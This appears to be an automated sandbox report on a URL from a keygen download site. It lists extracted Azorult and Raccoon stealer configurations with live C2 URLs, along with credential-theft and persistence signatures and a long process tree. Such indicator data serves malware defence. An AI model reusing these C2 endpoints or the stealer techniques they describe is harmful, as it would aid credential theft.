Resubmissions

10-05-2021 11:26

210510-tr8jnz3mxx 10

10-05-2021 00:00

210510-e3mrqdrdax 10

Analysis

  • max time kernel
    1796s
  • max time network
    1802s
  • platform
    windows10_x64
  • resource
    win10v20210410
  • submitted
    10-05-2021 00:00

General

  • Target

    https://keygenit.com/d/efe5b207221120n9s2s7.html

  • Sample

    210510-e3mrqdrdax

Malware Config

Extracted

Family

azorult

C2

http://kvaka.li/1210776429.php

Extracted

Family

raccoon

Botnet

4d609553bb4cb0b4f6f0a787148c2d610bd667f7

Attributes
  • url4cnc

    https://telete.in/j90dadarobin

rc4.plain
rc4.plain

Signatures

  • Azorult

    An information stealer that was first discovered in 2016, targeting browsing history and passwords.

  • PlugX

    PlugX is a RAT (Remote Access Trojan) that has been around since 2008.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • Downloads MZ/PE file
  • Executes dropped EXE 21 IoCs
  • Loads dropped DLL 14 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Drops Chrome extension 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Enumerates system info in registry 2 TTPs 7 IoCs
  • Kills process with taskkill 2 IoCs
  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 13 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Runs ping.exe 1 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 46 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s SENS
    1⤵
      PID:1356
    • c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s Browser
      1⤵
        PID:2752
      • c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s WpnService
        1⤵
        • Modifies registry class
        PID:2384
      • c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
        1⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2360
      • c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
        1⤵
          PID:2332
        • c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
          1⤵
            PID:2272
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" https://keygenit.com/d/efe5b207221120n9s2s7.html
            1⤵
            • Enumerates system info in registry
            • Modifies registry class
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of WriteProcessMemory
            PID:4024
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xc8,0xcc,0xd0,0xa4,0xd4,0x7ff964494f50,0x7ff964494f60,0x7ff964494f70
              2⤵
                PID:1884
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1504,15726253596537559561,388957806327316755,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1508 /prefetch:2
                2⤵
                  PID:1448
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1504,15726253596537559561,388957806327316755,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1988 /prefetch:8
                  2⤵
                  • Suspicious behavior: EnumeratesProcesses
                  PID:1860
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1504,15726253596537559561,388957806327316755,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2000 /prefetch:8
                  2⤵
                    PID:2096
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1504,15726253596537559561,388957806327316755,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2620 /prefetch:1
                    2⤵
                      PID:2768
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1504,15726253596537559561,388957806327316755,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2628 /prefetch:1
                      2⤵
                        PID:3836
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1504,15726253596537559561,388957806327316755,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3436 /prefetch:1
                        2⤵
                          PID:3160
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1504,15726253596537559561,388957806327316755,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3596 /prefetch:1
                          2⤵
                            PID:420
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1504,15726253596537559561,388957806327316755,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3600 /prefetch:1
                            2⤵
                              PID:3108
                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1504,15726253596537559561,388957806327316755,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3664 /prefetch:1
                              2⤵
                                PID:4092
                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1504,15726253596537559561,388957806327316755,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4792 /prefetch:8
                                2⤵
                                  PID:4372
                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1504,15726253596537559561,388957806327316755,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5020 /prefetch:8
                                  2⤵
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:4464
                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1504,15726253596537559561,388957806327316755,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5224 /prefetch:8
                                  2⤵
                                    PID:4716
                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1504,15726253596537559561,388957806327316755,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5172 /prefetch:8
                                    2⤵
                                      PID:4768
                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1504,15726253596537559561,388957806327316755,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5504 /prefetch:8
                                      2⤵
                                        PID:4812
                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1504,15726253596537559561,388957806327316755,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5616 /prefetch:8
                                        2⤵
                                          PID:4848
                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1504,15726253596537559561,388957806327316755,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5748 /prefetch:8
                                          2⤵
                                            PID:4884
                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1504,15726253596537559561,388957806327316755,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6040 /prefetch:8
                                            2⤵
                                              PID:4924
                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1504,15726253596537559561,388957806327316755,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5992 /prefetch:8
                                              2⤵
                                                PID:4964
                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1504,15726253596537559561,388957806327316755,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6036 /prefetch:8
                                                2⤵
                                                  PID:5000
                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.FileUtilService --field-trial-handle=1504,15726253596537559561,388957806327316755,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7436 /prefetch:8
                                                  2⤵
                                                    PID:5012
                                                  • C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe
                                                    "C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe" --configure-user-settings --verbose-logging --system-level --channel --force-configure-user-settings
                                                    2⤵
                                                      PID:5072
                                                      • C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe
                                                        "C:\Program Files\Google\Chrome\Application\89.0.4389.114\Installer\chrmstp.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0x23c,0x240,0x244,0x218,0x248,0x7ff69dd9a890,0x7ff69dd9a8a0,0x7ff69dd9a8b0
                                                        3⤵
                                                          PID:5108
                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1504,15726253596537559561,388957806327316755,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7556 /prefetch:8
                                                        2⤵
                                                          PID:5096
                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1504,15726253596537559561,388957806327316755,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=7148 /prefetch:8
                                                          2⤵
                                                          • Suspicious behavior: EnumeratesProcesses
                                                          PID:4396
                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1504,15726253596537559561,388957806327316755,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7200 /prefetch:8
                                                          2⤵
                                                            PID:4560
                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1504,15726253596537559561,388957806327316755,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7008 /prefetch:8
                                                            2⤵
                                                              PID:4468
                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1504,15726253596537559561,388957806327316755,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7088 /prefetch:8
                                                              2⤵
                                                                PID:4508
                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1504,15726253596537559561,388957806327316755,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7900 /prefetch:8
                                                                2⤵
                                                                  PID:4756
                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1504,15726253596537559561,388957806327316755,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7136 /prefetch:8
                                                                  2⤵
                                                                    PID:3932
                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1504,15726253596537559561,388957806327316755,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7016 /prefetch:8
                                                                    2⤵
                                                                      PID:4892
                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1504,15726253596537559561,388957806327316755,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6912 /prefetch:8
                                                                      2⤵
                                                                        PID:4888
                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1504,15726253596537559561,388957806327316755,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6708 /prefetch:8
                                                                        2⤵
                                                                          PID:3136
                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1504,15726253596537559561,388957806327316755,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6596 /prefetch:8
                                                                          2⤵
                                                                            PID:5116
                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1504,15726253596537559561,388957806327316755,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6444 /prefetch:8
                                                                            2⤵
                                                                              PID:4144
                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1504,15726253596537559561,388957806327316755,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6468 /prefetch:8
                                                                              2⤵
                                                                                PID:4080
                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1504,15726253596537559561,388957806327316755,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8356 /prefetch:8
                                                                                2⤵
                                                                                  PID:4424
                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1504,15726253596537559561,388957806327316755,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8456 /prefetch:8
                                                                                  2⤵
                                                                                    PID:4644
                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1504,15726253596537559561,388957806327316755,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8612 /prefetch:8
                                                                                    2⤵
                                                                                      PID:2424
                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1504,15726253596537559561,388957806327316755,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8752 /prefetch:8
                                                                                      2⤵
                                                                                        PID:408
                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1504,15726253596537559561,388957806327316755,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=6448 /prefetch:8
                                                                                        2⤵
                                                                                          PID:4872
                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1504,15726253596537559561,388957806327316755,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=8624 /prefetch:8
                                                                                          2⤵
                                                                                            PID:4936
                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1504,15726253596537559561,388957806327316755,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=9124 /prefetch:8
                                                                                            2⤵
                                                                                              PID:5132
                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1504,15726253596537559561,388957806327316755,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=9008 /prefetch:8
                                                                                              2⤵
                                                                                                PID:5168
                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1504,15726253596537559561,388957806327316755,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=9296 /prefetch:8
                                                                                                2⤵
                                                                                                  PID:5180
                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1504,15726253596537559561,388957806327316755,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=9332 /prefetch:8
                                                                                                  2⤵
                                                                                                    PID:5228
                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1504,15726253596537559561,388957806327316755,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=9344 /prefetch:8
                                                                                                    2⤵
                                                                                                      PID:5260
                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1504,15726253596537559561,388957806327316755,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=9356 /prefetch:8
                                                                                                      2⤵
                                                                                                        PID:5296
                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1504,15726253596537559561,388957806327316755,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=9312 /prefetch:8
                                                                                                        2⤵
                                                                                                          PID:5192
                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1504,15726253596537559561,388957806327316755,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7884 /prefetch:8
                                                                                                          2⤵
                                                                                                            PID:5384
                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1504,15726253596537559561,388957806327316755,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7588 /prefetch:8
                                                                                                            2⤵
                                                                                                              PID:5396
                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1504,15726253596537559561,388957806327316755,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=7232 /prefetch:8
                                                                                                              2⤵
                                                                                                                PID:5432
                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1504,15726253596537559561,388957806327316755,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=8124 /prefetch:8
                                                                                                                2⤵
                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                PID:5492
                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1504,15726253596537559561,388957806327316755,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=52 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9016 /prefetch:1
                                                                                                                2⤵
                                                                                                                  PID:5568
                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1504,15726253596537559561,388957806327316755,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=53 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9544 /prefetch:1
                                                                                                                  2⤵
                                                                                                                    PID:5580
                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1504,15726253596537559561,388957806327316755,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=54 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=9144 /prefetch:1
                                                                                                                    2⤵
                                                                                                                      PID:5692
                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1504,15726253596537559561,388957806327316755,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5088 /prefetch:8
                                                                                                                      2⤵
                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                      PID:5788
                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1504,15726253596537559561,388957806327316755,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=9284 /prefetch:8
                                                                                                                      2⤵
                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                      PID:5828
                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1504,15726253596537559561,388957806327316755,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2712 /prefetch:8
                                                                                                                      2⤵
                                                                                                                        PID:6100
                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1504,15726253596537559561,388957806327316755,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5028 /prefetch:8
                                                                                                                        2⤵
                                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                                        PID:420
                                                                                                                    • c:\windows\system32\svchost.exe
                                                                                                                      c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
                                                                                                                      1⤵
                                                                                                                        PID:1892
                                                                                                                      • c:\windows\system32\svchost.exe
                                                                                                                        c:\windows\system32\svchost.exe -k netsvcs -s UserManager
                                                                                                                        1⤵
                                                                                                                          PID:1288
                                                                                                                        • c:\windows\system32\svchost.exe
                                                                                                                          c:\windows\system32\svchost.exe -k netsvcs -s Themes
                                                                                                                          1⤵
                                                                                                                            PID:1196
                                                                                                                          • c:\windows\system32\svchost.exe
                                                                                                                            c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
                                                                                                                            1⤵
                                                                                                                              PID:1084
                                                                                                                            • c:\windows\system32\svchost.exe
                                                                                                                              c:\windows\system32\svchost.exe -k netsvcs -s Schedule
                                                                                                                              1⤵
                                                                                                                                PID:932
                                                                                                                              • c:\windows\system32\svchost.exe
                                                                                                                                c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
                                                                                                                                1⤵
                                                                                                                                  PID:68
                                                                                                                                • \??\c:\windows\system32\svchost.exe
                                                                                                                                  c:\windows\system32\svchost.exe -k netsvcs -s BITS
                                                                                                                                  1⤵
                                                                                                                                  • Suspicious use of SetThreadContext
                                                                                                                                  • Modifies registry class
                                                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                                  PID:2188
                                                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                                                    C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                                                                                                    2⤵
                                                                                                                                    • Drops file in System32 directory
                                                                                                                                    • Checks processor information in registry
                                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                                    • Modifies registry class
                                                                                                                                    PID:4760
                                                                                                                                • C:\Windows\System32\rundll32.exe
                                                                                                                                  C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                                                                                                                                  1⤵
                                                                                                                                    PID:5904
